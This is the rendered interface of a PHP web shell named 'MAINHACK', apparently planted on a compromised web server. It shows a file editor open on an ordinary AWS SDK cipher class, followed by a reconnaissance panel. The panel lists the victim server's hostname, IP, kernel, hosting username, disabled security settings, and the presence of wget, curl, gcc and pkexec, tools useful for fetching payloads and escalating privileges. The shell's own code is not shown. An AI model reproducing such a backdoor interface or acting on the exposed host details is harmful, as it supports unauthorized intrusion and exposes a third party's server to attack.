[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Cbc.php
<?php namespace Aws\Crypto\Cipher; use \InvalidArgumentException; use \LogicException; /** * An implementation of the CBC cipher for use with an AesEncryptingStream or * AesDecrypting stream. * * This cipher method is deprecated and in maintenance mode - no new updates will be * released. Please see https://docs.aws.amazon.com/general/latest/gr/aws_sdk_cryptography.html * for more information. * * @deprecated */ class Cbc implements CipherMethod { const BLOCK_SIZE = 16; /** * @var string */ private $baseIv; /** * @var string */ private $iv; /** * @var int */ private $keySize; /** * @param string $iv Base Initialization Vector for the cipher. * @param int $keySize Size of the encryption key, in bits, that will be * used. * * @throws InvalidArgumentException Thrown if the passed iv does not match * the iv length required by the cipher. */ public function __construct($iv, $keySize = 256) { $this->baseIv = $this->iv = $iv; $this->keySize = $keySize; if (strlen($iv) !== openssl_cipher_iv_length($this->getOpenSslName())) { throw new InvalidArgumentException('Invalid initialization vector'); } } public function getOpenSslName() { return "aes-{$this->keySize}-cbc"; } public function getAesName() { return 'AES/CBC/PKCS5Padding'; } public function getCurrentIv() { return $this->iv; } public function requiresPadding() { return true; } public function seek($offset, $whence = SEEK_SET) { if ($offset === 0 && $whence === SEEK_SET) { $this->iv = $this->baseIv; } else { throw new LogicException('CBC initialization only support being' . ' rewound, not arbitrary seeking.'); } } public function update($cipherTextBlock) { $this->iv = substr($cipherTextBlock, self::BLOCK_SIZE * -1); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.56 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002